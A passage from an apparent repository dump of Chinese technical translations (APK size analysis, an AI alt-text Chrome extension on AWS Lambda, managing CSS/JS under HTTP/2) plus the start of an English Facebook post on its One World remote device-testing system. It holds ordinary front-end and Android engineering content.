文件并了解它们的[结构](https://developer.android.com/topic/performance/reduce-apk-size.html#apk-structure)，并同时在发布前或调试时验证一些常见问题，例如 APK 大小和 DEX 问题。\n\n###利用 APK Analyzer 为应用“瘦身”\n\nAPK analyzer 在应用大小方面可以给你很多有用并且可操作的信息。在屏幕的顶部，你可以从 **Raw File Size** 看到应用占磁盘大小。**Download size** 是一个估计值，表示考虑到在经过 Play Store 的压缩后，你还需要多少流量来下载应用。\n\n文件和文件夹根据文件大小降序排列。这让我们很容易看出对 APK 大小优化最容易从哪里入手。每当你深入到某个文件夹的时候，你能看到占用了 APK 大部分空间的资源和其他实体。\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/0*DRt5aMTeoIKdwYG1.)\n资源根据文件大小以降序的方式排列。\n\n在此例中，在检查一个 APK 是否可能减小大小时，我马上注意到在我们的 drawable 资源中最大的东西是一个 1.5 MB 的 3 帧 PNG 动画，并且这只是一个 **xxhdpi** 的分辨率啊！\n\n显然这些图片都非常适合用向量来储存，所以我们使用 Android Studio 2.2里 [向量资源导入工具新的 PSD 支持功能](https://developer.android.com/studio/write/vector-asset-studio.html)，找到对应图片的资源文件并把它们作为 VectorDrawable 引用\n\n对其他剩余的动画 (**instruction_touch***.png)_ 重复这个步骤直到把所有分辨率文件夹里的 PNG 文件都移除，那么我们就能节省 5MB 的空间。我们使用支持库中的 [_VectorDrawableCompat_](https://medium.com/@chrisbanes/appcompat-v23-2-age-of-the-vectors-91cbafa87c88) 来保持向前兼容。\n\n我们同样也容易发现，在其他的资源文件中，一些没有被压缩的 **WAV** 文件可以被转换成 **OGG** 文件。这意味着我们不用动一行代码就可以节省更多的空间。\n\n![](https://d262ilb51hltx0.cloudfront.net/max/600/0*AcjFk-xj6PKOXRWe.)\n浏览 APK 里的其它文件夹\n\n接下来要检查的是包含了我们支持的3个 ABI 的本地库， **lib/** 文件夹，\n\n我们决定用 Gradle 构建里的 [APK 分离支持](https://developer.android.com/studio/build/configure-apk-splits.html) 为每个 ABI 各创建一个版本。\n\n我快速浏览了一遍 AndroidManifest.xml 并发现缺少 [**android:extractNativeLibs**](https://developer.android.com/reference/android/R.attr.html#extractNativeLibs) 属性。把它设置为 **false** 可以节省一点设备上的空间，因为它能阻止把本地库从 APK 拷贝到文件系统上。唯一的要求是文件已经经过整理并且未压缩地存于 APK 里。这个功能仅在高于 2.2.0 版本的 Android Gradle 插件中使用。\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/0*VgknN7SJh9z7hOya.)\n在 APK Analyzer 中浏览到的整个 AndroidManifest.xml 文件\n\n做完这些修改，我想知道现在的新版本跟旧版本对比有什么不同。我切换到我最开始提交的地方，编译 APK 并保存在别的文件夹。然后，我用 **Compare with…** 功能查看新版本和旧版本的大小差异。\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/0*W_ZzJpAzon5xAHpc.)\nAPK 对比 － 右上角按钮\n\n可以看到，我们对资源和本地库的修改取得了很大的成效，只用很少的更改节省了 17MB 的总大小。但是，我们的 DEX 却增加了 400KB。\n\n### 调试 DEX 增大的问题\n\n在这个例子中，大小的差异来源于升级我们的依赖到最新的版本并且添加了新的库。我们已经使用了 [Proguard](https://developer.android.com/studio/build/shrink-code.html#shrink-code) 和 [Multidex](https://developer.android.com/studio/build/multidex.html) 来构建，所以我们无法再对 DEX 的大小做更多修改。但 APK analyzer 仍然是调试这些配置的利器，特别是当你在工程中第一次开启 Multidex 或者 Proguard。\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/0*bOKK2M9iFTXVfUrs.)\n探索 classes.dex 的内容\n\n当你点击任何 DEX 文件，你可以看到一个含有多少类和方法被定义，以及它包含的总引用数（引用数不包括在单个 DEX 文件的 [64K 限制](https://developer.android.com/studio/build/multidex.html#about)里）的总结。在示例的截屏中，应用程序刚好达到限制，这意味着它马上将需要 MultiDex 去分离类到不同的文件中。\n\n你可以深入到包里查看到底是谁使用了这些引用。在本例中，支持库和 Google Play 服务是造成这个情况的主要原因：\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/0*_X6y5PXnNG_e_QK-.)\n每个包的引用数\n\n一旦你启用了 MultiDex 并编译你的应用，你会发现第二个 DEX 文件，classes2.dex（还可能有第三个 classes3.dex 或者更多）。Android gradle 插件会找出启动应用所需的类文件，并把它们放在主要的 classes.dex 文件。但是也有极少情况，它不能识别这些文件，并抛出 ClassNotFoundException 的错误。这种情况下，你可以用 APK analyzer 去检查 DEX 文件，然后[强制把缺少的类放进主要的 DEX 文件](http://google.github.io/android-gradle-dsl/2.2/com.android.build.gradle.internal.dsl.ProductFlavor.html#com.android.build.gradle.internal.dsl.ProductFlavor:multiDexKeepFile).\n\n当你开启了 Proguard 并且利用反射或者在 XML 布局中调用类或方法，你会遇到类似的问题。APK Analyzer 可以帮助你验证你的 Proguard 的配置是否正确，比如查看你需要的方法或类是否在 APK 中存在或者它们是否被重命名（混淆）。你可以确定你不需要的类是不是被移除了，且没有占用之前说的引用方法数。\n\n我们真的非常想知道你所知道的 APK Analyzer 的其它功能以及你期待这个工具还应该具备怎么样的功能！\n"
  },
  {
    "path": "TODO/making-the-web-more-accessible-with-ai.md",
    "content": "\n> * 原文地址：[Making the Web More Accessible With AI](https://hackernoon.com/making-the-web-more-accessible-with-ai-1fb2ed6ea2a4)\n> * 原文作者：[Abhinav Suri](https://hackernoon.com/@abhisuri97)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/making-the-web-more-accessible-with-ai.md](https://github.com/xitu/gold-miner/blob/master/TODO/making-the-web-more-accessible-with-ai.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Tina92](https://github.com/Tina92),[Cherry](https://github.com/sunshine940326)\n\n# 使用 AI 为 Web 网页增加无障碍功能\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*oxCB95q9jaqKSqMw96FWqA.png)\n\n图为一位盲人正在阅读盲文（[图片链接](http://usabilitygeek.com/wp-content/uploads/2012/07/Software-For-Visually-Impaired-Blind-Users.jpg)）\n\n[根据世界健康组织的统计](http://www.who.int/mediacentre/factsheets/fs282/en/)，全球约有 2.85 亿位视力障碍人士，仅美国就有 810 万网民患视力障碍。\n\n在我们视力正常的人看来，互联网是一个充满了文字、图片、视频等事物的地方，然而对于视力障碍人士来说却并不是这样的。有一种可以读出网页中文字和元数据的工具叫做屏幕阅读器，然而这种工具的作用十分有限，仅能让人看到网页的一部分文本。虽然一些开发人员花时间去改进他们的网站，为视障人士添加图片的描述性文字，但是绝大多数程序员都不会花时间去做这件公认冗长乏味的事情。\n\n所以，我决定做这么一个工具，来帮助视障人士通过 AI 的力量来“看”互联网。我给它起名为“Auto Alt Text”（自动 Alt 文本添加器），是一个 Chrome 拓展插件，可以让用户在图片上点击右键后得到场景描述 —— 最开始是要这么做的。\n\n您可以观看下面的视频，了解它是如何运作的，然后 [下载它并亲自试一试吧！](http://abhinavsuri.com/aat)！\n\n[![](https://i.ytimg.com/vi_webp/c1S4iB360m8/maxresdefault.webp)](https://www.youtube.com/embed/c1S4iB360m8)\n\n视频内容为这个 Chrome 插件的运行演示\n\n#### 为什么我想做 Auto Alt Text：\n\n我曾经是不想花时间为图片添加描述的开发者中的一员。对那时的我来说，无障碍永远是“考虑考虑”的事，直到有一天我收到了来自[我的一个项目](https://github.com/hack4impact/flask-base)的用户的邮件。\n\n![](https://cdn-images-1.medium.com/max/1600/1*uYx_pi9vAI17mQ20D81ykw.png)\n\n邮件内容如下：“你好，Abhinav，我看了你的 flask-base 项目，我觉得它非常适合我的下个工程。感谢你开发了它。不过我想让你知道，你应该为你 README 中的图片加上 alt 描述。我是盲人，用了很长一段时间才弄清楚它们的内容 :/来自某人”\n\n在收到邮件的时候，无障碍功能的开发是放在我开发队列的最后面的，基本上它就是个“事后有空再添加”的想法而已。但是，这封邮件唤醒了我。在互联网中，有许多的人需要无障碍阅读功能来理解网站、应用、项目等事物的用途。\n\n> “现在 Web 中充满了缺失、错误或者没有替代文本的图片” —— WebAIM（犹他州立大学残疾人中心）\n\n#### 用 AI（人工智能）来挽救：\n\n现在其实有一些方法来给图像加描述文字；但是，大多数方法都有一些缺点：\n\n1. 它们反应很慢，要很长时间才能返回描述文字。\n2. 它们是半自动化的（即需要人类手动按需标记描述文字）。\n3. 制作、维护它们需要高昂的代价。\n\n现在，通过创建神经网络，这些问题都能得到解决。最近我接触、学习了 Tensorflow —— 一个用于机器学习开发的开源库，开始深入研究机器学习与 AI。Tensorflow 使开发人员能够构建可用于完成从对象检测到图像识别的各种任务的高鲁棒模型。\n\n在做了一些研究之后，我找到了一篇 Vinyals 写的论文[《Show and Tell: Lessons learned from the 2015 MSCOCO Image Captioning Challenge》](https://arxiv.org/abs/1609.06647)。这些研究者们创建了一个深度神经网络，可以以语义化方式描述图片的内容。\n\n![](https://cdn-images-1.medium.com/max/1600/1*mSvmjcvUbpgB3izigcEi4w.png)\n\nim2txt 的实例来自 [im2txt Github Repository](https://github.com/tensorflow/models/tree/master/im2txt)\n\n#### im2txt 的技术细节：\n\n这个模型的机制相当的精致，但是它基本上是一个“编码器 - 解码器”的方案。首先图片会传入一个名为 Inception v3 的卷积神经网络进行图片分类，接着编码好的图片送入 LSTM 网络中。LSTM 是一种专门用于序列模型/时间敏感信息的神经网络层。最后 LSTM 通过组合设定好的单词，形成一句描述图片内容的句子。LSTM 通过求单词集中每个单词在句子中出现的似然性，分别计算第一个词出现的概率分布、第二个词出现的概率分布……直到出现概率最大的字符为“.”，为句子加上最后的句号。\n\n![](https://cdn-images-1.medium.com/max/1600/1*CW6YVV_zEriaGrxMzN4quA.png)\n\n图为此神经网络的概况（图片来自 [im2txt Github repository](https://github.com/tensorflow/models/tree/master/im2txt)）\n\n根据 Github 库中的说明，这个模型在 Tesla k20m GPU 上的训练时间大约为 1-2 周（在我笔记本的标准 CPU 上计算需要更多的时间）。不过值得庆幸的是，Tensorflow 社区提供了一个已经训练好的模型。\n\n#### 使用 box + Lamdba 解决问题：\n\n在运行模型时，我试图使用 Bazel 来运行模型（Bazel 是一个用于将 tensorflow 模型解包成可运行脚本的工具）。但是，当命令行运行时，它需要大约 15 秒钟的时间才能从获取一张图片的结果！解决问题的唯一办法就是让 Tensorflow 的整个 Graph 都常驻内存，但是这样需要这个程序全天候运行。我计划将这个模型挂在 AWS Elasticbeanstalk 上，在这个平台上是以小时为单位为计算时间计费的，而我们要维持应用程序常驻，因此并不合适（它完全匹配了前面章节所说的图片描述软件缺点的第三条缺点）。因此，我决定使用 AWS Lambda 来完成所有工作。\n\nLambda 是一种无服务器计算服务，价格很低。此外，它会在计算服务激活时按秒收费。Lambda 的工作原理很简单，一旦应用收到了用户的请求，Lambda 就会将应用程序的映象激活，返回 response，然后再停止应用映象。如果收到多个并发请求，它会唤起多个实例以拓展负载。另外，如果某个小时内应用不断收到请求，它将会保持应用程序的激活状态。因此，Lambda 服务非常符合我的这个用例。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Q4EaQYos3s-67OkhhKzDkg.png)\n\n图为 AWS API Gateway + AWS = ❤️ ([图片链接](https://cdn-images-1.medium.com/max/700/1*SzOPXTf_YQNtFejG0e4HPg.png))\n\n使用 Lambda 的问题就在于，我必须要为 im2txt 模型创建一个 API。另外，Lambda 对于以功能形式加载的应用有空间限制。上传整个应用程序的 zip 包时，最终文件大小不能超过 250 MB。这个限制是一个麻烦事，因为 im2txt 的模型就已经超过 180 MB 了，再加上它运行需要的依赖文件就已经超过 350 MB 了。我尝试将程序的一部分传到 S3 服务上，然后在 Lambda 实例运行再去下载相关文件。然而，Lambda 上一个应用的总存储限制为 512 MB，而我的应用程序已经超过限制了（总共约 530 MB）。\n\n为了减小项目的大小，我重新配置了 im2txt，只下载精简过的模型，去掉了没用的一些元数据。这样做之后，我的模型大小减小到了 120 MB。接着，我找到了一个最小依赖的 [lambda-packs](https://github.com/ryfeus/lambda-packs)，不过它仅有早期版本的 python 和 tensorflow。我将 python 3.6 语法和 tensorflow 1.2 的代码进行了降级，经过痛苦的降级过程后，我最终得到了一个总大小约为 480 MB 的包，小于 512 MB 的限制。\n\n为了保持应用的快速响应，我创建了一个 CloudWatch 函数，让 Lambda 实例保持”热“状态，使应用始终处于激活态。接着，我添加了一些函数用于处理不是 JPG 格式的图片，在最后，我做好了一个能提供服务的 API。这些精简工作让应用在大多数情况下能够于 5 秒之内返回 response。\n\n![](https://cdn-images-1.medium.com/max/1600/1*e5awvS8Z3k5V9qaxzMadQw.png)\n\n上图为 API 提供的图片可能内容的概率\n\n此外，Lambda 的价格便宜的令人惊讶。以现在的情况，我可以每个月免费分析 60,952 张图片，之后的图片每张仅需 0.0001094 美元（这意味着接下来的 60,952 张图像约花费 6.67 美元）。\n\n\n有关 API 的更多信息，请参考 repo：[https://github.com/abhisuri97/auto-alt-text-lambda-api](https://github.com/abhisuri97/auto-alt-text-lambda-api)\n\n剩下的工作就是将其打包为 Chrome 拓展插件，以方便用户使用。这个工作没啥挑战性（仅需要向我的 API 端点发起一个简单的 AJAX 请求即可）。\n\n![](https://cdn-images-1.medium.com/max/1600/1*SXf884JCTh_Ze-0XcXsxiw.gif)\n\n上图为 Auto Alt Text Chrome 插件运行示例\n\n#### 结论：\n\nIm2txt 模型对于人物、风景以及其它存在于 COCO 数据集中的内容表现良好。\n\n![](https://cdn-images-1.medium.com/max/1600/1*NE9GCZliWRPy9km6Kmaarw.png)\n\n上图为 COCO 数据集图片分类\n\n这个模型能够标注的内容还是有所限制；不过，它能标注的内容已经涵盖了 Facebook、Reddit 等社交媒体上的大多数图片。\n\n但是，对于 COCO 数据集中不存在的图片内容，这个模型并不能完成标注。我曾尝试着使用 Tesseract 来解决这个问题，但是它的结果并不是很准确，而且花费的时间也太长了（超过 10 秒）。现在我正在尝试使用 Tensorflow 实现 [王韬等人的论文](http://ai.stanford.edu/~ang/papers/ICPR12-TextRecognitionConvNeuralNets.pdf)，将其加入这个项目中。\n\n#### 总结：\n\n虽然现在几乎每周都会涌现一些关于 AI 的新事物，但最重要的是退回一步，看看这些工具能在研究环境之外发挥出怎样的作用，以及这些研究能怎样帮助世界各地的人们。总而言之，我希望我能深入研究 Tensorflow 和 in2txt 模型，并将我所学知识应用于现实世界。我希望这个工具能成为帮助视障人士”看“更好的互联网的第一步。\n\n#### 相关链接：\n\n- 关注文章作者：我会在 [Medium](https://medium.com/@abhisuri97) 上首发我写的文章。如果你喜欢这篇文章，欢迎关注我:)。接下来一个月，我将会在下个月发布一系列“如何使用 AI/tensorflow 解决现实世界问题”的文章。最近我还会发一些 JS 方面的教程。\n- 本文工具 Chrome 插件：[下载地址](http://abhinavsuri.com/aat)\n- Auto Alt Text Lambda API：[Github repository 地址](http://github.com/abhisuri97/auto-alt-text-lambda-api)\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/managing-css-js-http-2.md",
    "content": "\n> * 原文地址：[Managing CSS & JS in an HTTP/2 World](https://www.viget.com/articles/managing-css-js-http-2/)\n> * 原文作者：[\nTrevor Davis](https://www.viget.com/about/team/tdavis)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/managing-css-js-http-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/managing-css-js-http-2.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[Usey95](https://github.com/Usey95)、[alfred-zhong](https://github.com/alfred-zhong)\n\n# 在 HTTP/2 的世界里管理 CSS 和 JS\n\n使用了 HTTP/2，在网站中传输 CSS 和 JS 将变得完全不同，本文是结合我实践的一份指南。\n\n我们已经听说 HTTP/2 很多年了。我们甚至写了[一些](https://www.viget.com/articles/getting-started-with-http-2-part-1)[关于它的博客](https://www.viget.com/articles/getting-started-with-http-2-part-2)。但我们的真正实践并不多。一直到现在。在一些最近的项目中，我把使用 HTTP/2 作为一个目标，并弄清楚如何更好地应用[多路复用](https://http2.github.io/faq/#why-is-http2-multiplexed)。本文并不会主要去讲你为什么应该使用 HTTP/2，而是要讨论我是如何管理 CSS 和 JS 的从而解释这一范式转变。\n\n## 拆分 CSS\n\n这是我们多年来作为最佳实践的反例。但为了汲取多路复用的好处，最好的方式还是把你的 CSS 拆分成更小的文件，这样在每一页只加载必要的CSS。应该像这个例子这样：\n\n```html\n<html>\n<head>\n\t<!--每一页都是用的全局样式， header/footer/etc -->\n\t<link href=\"stylesheets/global/index.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n\t<link href=\"stylesheets/modules/text-block/index.css\" rel=\"stylesheet\">\n\t<div class=\"text-block\">\n\t\t...\n\t</div>\n\n\t<link href=\"stylesheets/modules/two-column-block/index.css\" rel=\"stylesheet\">\n\t<div class=\"two-column-block\">\n\t\t...\n\t</div>\n\n\t<link href=\"stylesheets/modules/image-promos-block/index.css\" rel=\"stylesheet\">\n\t<div class=\"image-promos-block\">\n\t\t...\n\t</div>\n\n</body>\n</html>\n```\n\n没错，`<link>` 标签放在了 `<body>` 内部，但不必惊慌,这完全[合规](https://html.spec.whatwg.org/multipage/semantics.html#allowed-in-the-body)。因此对于每一个小的标签块，都可以拥有一个独立的只包含相应 CSS 的样式。假如你正在使用模块化风格构建你的页面，这很容易设置。\n\n### 管理 SCSS 文件\n\n经过一些实践，这是我整理的 SCSS 文件结构：\n\n![](https://static.viget.com/blog/_736xAUTO_crop_center-center/http2-assets-stylesheets.png?mtime=20170823121853)\n\n**CONFIG 文件夹**\n\n我使用这个文件夹设置一堆变量：\n\n![](https://static.viget.com/blog/_1064xAUTO_crop_center-center/http2-assets-config.png?mtime=20170823122448)\n\n这里的入口文件是 `_index.scss`，它引入了所有其他 SCSS 文件，所以我可以访问到一些变量和 mixins。它是这样的：\n\n```css\n@import \"variables\";\n@import \"../functions/*\";\n```\n\n**FUNCTIONS 文件夹**\n\n顾名思义，它包含了一些常见的 mixins 和函数，每一个 mixin 或函数都对应一个文件。\n\n![](https://static.viget.com/blog/_1164xAUTO_crop_center-center/http2-assets-functions.png?mtime=20170823122756)\n\n**GLOBAL 文件夹**\n\n这个文件夹包含我每一页都使用的 CSS。特别适合放一些类似网站的 header、footer、reset、字体和其他通用样式之类的东西。\n\n![](https://static.viget.com/blog/_1064xAUTO_crop_center-center/http2-assets-global.png?mtime=20170823150006)\n\n`index.scss` 看起来是这样的:\n\n```css\n@import \"../config/index\";\n@import \"_fonts.scss\";\n@import \"_reset.scss\";\n@import \"_base.scss\";\n@import \"_utility.scss\";\n@import \"_skip-link.scss\";\n@import \"_header.scss\";\n@import \"_content.scss\";\n@import \"_footer.scss\";\n@import \"components/*\";\n```\n\n最后一行引入了所有 components 的子目录，这是将额外全局样式模块化的捷径。\n\n**MODULES 文件夹**\n\n这是我们 HTTP/2 体系中最重要的文件夹。当我拆分样式到对应的模块，这个文件夹会包含非常非常多的文件。所以我从拆分每一个模块到子目录开始：\n\n![](https://static.viget.com/blog/_1432xAUTO_crop_center-center/http2-assets-entry-list.png?mtime=20170823150741)\n\n每个模块中的 `index.scss` 是这样的：\n\n```\n// 导入所有的全局变量和 mixin\n@import \"../../config/index\";\n\n// 导入这个模块文件夹中的所有部分\n@import \"_*.scss\";\n```\n\n这样我可以访问到变量和 mixin，然后我可以把模块的 CSS 拆分为许多部分，它们组合成一个单独的 CSS 模块文件。\n\n**PAGES 文件夹**\n\n实质上这个文件夹和 modules 文件夹一样，但我为了页面特定的内容使用它”。这种更模块化的方式在我们最近做的东西里绝对罕见，但是它很好地把页面的特殊样式拆分出来了。\n\n![](https://static.viget.com/blog/_1150xAUTO_crop_center-center/http2-assets-pages.png?mtime=20170823150703)\n\n### 适配 Blendid\n\n最近所有的项目我们都是用 [Blendid](https://github.com/vigetlabs/blendid) 来构建的 。为了实现上文描述的 SCSS 配置，我需要添加 [node-sass-glob-importer](https://www.npmjs.com/package/node-sass-glob-importer)。一旦装好它，我只需把它添加到 Blendid 的 `task-config.js` 中。\n\n```\nvar globImporter = require('node-sass-glob-importer');\n\nmodule.exports = {\n\tstylesheets: {\n\t\t...\n\t\tsass: {\n\t\t\timporter: globImporter()\n\t\t},\n  \t\t...\n}\n```\n\nduang，这样就完成了管理 SCSS 的 HTTP/2 配置。 \n\n### 彩蛋：Craft 宏\n\n很长一段时间以来，我们在 Viget 都主张使用 Craft，我就写了一个宏来减少这种引入样式的方式：\n\n```\n{%- macro css(stylesheet) -%}\n\t<link rel=\"stylesheet\" href=\"/stylesheets{{ stylesheet }}/index.css\" media=\"not print\">\n{%- endmacro -%}\n```\n\n当我想要引入一个模块的 CSS 文件，我只需这样：\n\n```\n{{ macros.css('/modules/image-block') }}\n```\n\n如果我需要在整个网站上放置样式表引用，这就更简单了。\n\n\n## 管理 JS\n\n就像 CSS 一样，我想要把 JS 拆分为模块，这样每一页只加载必要的 JS。一样的，使用 [Blendid 配置](https://github.com/vigetlabs/blendid)，为了一切正常运转我只需要做一点点微调。\n\n我使用的是 `import()`，而非 Webpack 的`require()`，。因此现在的 `modules/index.js` 文件需要看起来是这样的：\n\n```\nconst moduleElements = document.querySelectorAll('[data-module]');\n\nfor (var i = 0; i < moduleElements.length; i++) {\n\tconst el = moduleElements[i];\n\tconst name = el.getAttribute('data-module');\n\n\timport(`./${name}`).then(Module => {\n\t\tnew Module.default(el);\n\t});\n}\n```\n\n正如 Webpack 文档中所说：”这个特性内部依赖 Promise。如果你在旧版本浏览器使用 `import()`，记得使用一个 polyfill 来兼容 Promise，比如 es6-promise 或者 promise-polyfill“。\n\n因此我把 [es6-promise polyfill](https://www.npmjs.com/package/es6-promise) 加入到我的入口文件 `app.js` 中，使其自动兼容。\n\n\n```\nrequire('es6-promise/auto');\n```\n\n是的，然后你就可以在 Blendid 开箱即用的模式触发模块生成对应特定的 JS。\n\n```\n<div data-module=\"carousel\">\n```\n\n## 这很完美吗？\n\n还不,但至少可以引领你开始以合理的方式管理 HTTP/2 资源。随着我们对如何拆分代码来更好地使用 HTTP/2 的思考，我真切地希望这个配置将会越来越完善。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/managing-resources-for-large-scale-testing.md",
    "content": "> * 原文地址：[Managing resources for large-scale testing](https://code.facebook.com/posts/1708075792818517/managing-resources-for-large-scale-testing/)\n> * 原文作者：[Jeffrey Dunn ](https://www.facebook.com/jd),[Alexander Mols ](https://code.facebook.com/posts/1708075792818517/managing-resources-for-large-scale-testing/#),[Lawrence Lomax ](https://www.facebook.com/lawrencelomax),[Phyllipe Medeiros ](https://code.facebook.com/posts/1708075792818517/managing-resources-for-large-scale-testing/#)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# Managing resources for large-scale testing #\n\nAs more people across the world connect on Facebook, we want to make sure our apps and services work well in a variety of scenarios. At Facebook's scale, this means testing hundreds of important interactions across numerous types of devices and operating systems for both correctness and speed before we ship new code.\n\nLast year, we introduced the [Facebook mobile device lab](https://code.facebook.com/posts/300815046928882/the-mobile-device-lab-at-the-prineville-data-center/), which lets engineers run tests by accessing thousands of mobile devices available in our data centers. Since then, we've built a new, unified resource management system, codenamed One World, to host these devices and other runtimes such as web browsers and emulators. Engineers at Facebook can use a single API to communicate with these remote resources within their tests and other automated systems. One World has grown to manage tens of thousands of resources and is used to execute more than 1 million jobs each day. At this scale, we have learned a lot, as we encountered unique challenges building a system that can deal with the complexities of device reliability while exposing an easy-to-use API.\n\n## Architecture ##\n\nIn One World, we aim to support any application that an engineer might want to use with a remote runtime and minimal modifications to their code or environment. This means supporting standard communication mechanisms like adb (Android Debug Bridge) and providing the illusion that remote devices are connected locally. Our system consists of four main components:\n\n- **Runtime worker service:** Each resource type has its own runtime worker service that runs on machines managing the resource. The worker service manages the life cycle of the resource and responds to requests from clients to use its resources.\n- **One World daemon:** This lightweight service runs on machines that will connect to remote resources. The service implements the protocol to communicate with workers and sets up the environment to allow local processes to communicate with remote resources.\n- **Scheduler:** We use Jupiter, a job-scheduling service at Facebook, to match clients with workers whose available resources match their specified requirements.\n- **Satellite:** This minimal deployment of the worker service allows engineers to connect local resources to the global One World deployment. \n\n![](https://fb-s-a-a.akamaihd.net/h-ak-fbx/v/t39.2365-6/18316440_1804938769822137_403114450602688512_n.jpg?oh=9d5a6207ce4edd70211834f2d49b61f3&oe=59AD8010&__gda__=1504176542_1c09041e9fae96b1dfc09e8d7d70923c)\n\n### Runtime worker service ###\n\nEach resource hosted in One World has a worker service with the following responsibilities:\n\n- **Resource configuration and setup:** Before receiving a job, most resources require some sort of initial setup. For mobile devices, this may include unlocking the device, disabling the lock screen, and configuring other system settings. For browsers, it may include starting a selenium stand-alone server to allow it to be controlled remotely.\n- **Health checks:** Physical devices fail after prolonged use, and devices in our labs receive much more use than the average personal device. Worker services have a series of checks that they run to make sure devices are in a healthy state before allowing a client to access them. Some health checks may require technicians to repair or remove the device, and others may be resolved in an automated fashion such as charging a device due to a low battery.\n- **Restoring state:** After a resource has been used, we need to prepare it for the next client. For resources such as emulators, simulators, and browsers, this can be a trivial process like rebooting from an image. Mobile devices present some unique challenges, as a complete reimage is time intensive and adds wear to internal flash storage. To restore to a known good state, worker services will take actions such as rebooting a device to reset most kernel settings, uninstalling applications, and wiping data partitions.\n\nWithin the worker service, these steps are expressed as a state machine. Each state has monitoring and logging so we can understand bottlenecks in the system and failure rates by step. An example state machine might take the following form:\n\n![](https://fb-s-d-a.akamaihd.net/h-ak-fbx/v/t39.2365-6/18601820_1769494436695653_4055078421737242624_n.jpg?oh=895e499a3dbec724dd33e9c1027333eb&oe=59E82C93&__gda__=1503409907_c558f628c246a3db5ae93a5fc17c6d77)\n\nIn this state machine example, the green steps indicate points where the worker interacts with the client. Tasks like configuration/setup and health checks can occur before a client even connects to a worker. These steps can take several minutes, so running them in advance allows for minimal latency when a client connects — often, our connection latency is as low as just a couple of seconds. Workers can take actions in response to the client request before handing the resource over for use. For example, if a resource is in a distant data center, installing applications on a device may be much faster if run locally on the host machine rather than over the network. After a client disconnects, the worker can attach additional metadata to the session that can be queried later. We use this to store logs (e.g., device logcat) and videos of sessions. By allowing the worker to add metadata asynchronously, the client does not have to wait for uploads to finish.\n\nWorker services are written in Python 3, which lets us run them on a variety of platforms including Linux, Mac OS, and Windows. A separate instance of the service is started for each managed resource. We attempt to isolate these service instances from each other on platforms that support it. On Linux, for example, this means launching each service in its own control group that has been configured to provide access only to the resource it controls.\n\n### Remote access to mobile test devices ###\n\nOn Android, we want to support the full set of existing tools on One World, meaning that normal calls to adb must work within our system. Otherwise, every tool used at Facebook would need to be modified to be aware of One World, which would quickly spin out of control. One World runs adb servers on device hosts and provides the illusion of a local adb instance by establishing TCP tunnels. For example, we can create a TCP tunnel on port 5037, the standard adb port, and forward all traffic to the device host's adb instance. To support adb forward/reverse, we deploy a thin wrapper around the adb binary, which understands these commands and creates tunnels with two hops — first to the device host, then to the device itself.\n\nWhile the Android development environment has adb for interacting with an Android emulator or device, much of the tooling for iOS development is part of Xcode. As OneWorld runs iOS runtimes remotely, we needed a similar mechanism for remote interactions so that those runtimes could be used for running applications and different kinds of tests.\n\nIn 2015, we open-sourced [FBSimulatorControl](https://l.facebook.com/l.php?u=https%3A%2F%2Fgithub.com%2Ffacebook%2FFBSimulatorControl&amp;h=ATNADrf_0HzpmcoObV1zOk2XTtIHrXavAMyY1-flC2Sd6dVlnc7n3iMuFRkywaXkkI0q5q7TWYYN5Ujyut2o3ECyl7zPyqRWYOLwcK0hTY3hXzkU2bh2M17J3bQPa-ba5ViBlDY&amp;s=1) , a project for controlling iOS simulators. We have since extended this project to allow for interfacing with devices, allowing us to accommodate many of the applications that we have at Facebook. Features of FBSimulatorControl include:\n\n- **Structured output for automation:** FBSimulatorControl reports on the status of devices and simulators in a machine-readable format suitable for interactions such as booting simulators and launching applications.\n- **Application management:** The most common automation scenarios on iOS include the installation and launching of our iOS applications. FBSimulatorControl provides a consistent interface for this across simulators and devices, removing the complexity from the One World worker service.\n- **Automation of the user interface:** iOS engineers may be familiar with the XCUITest framework for writing automated UI tests. At Facebook, we've built on top of this framework in our 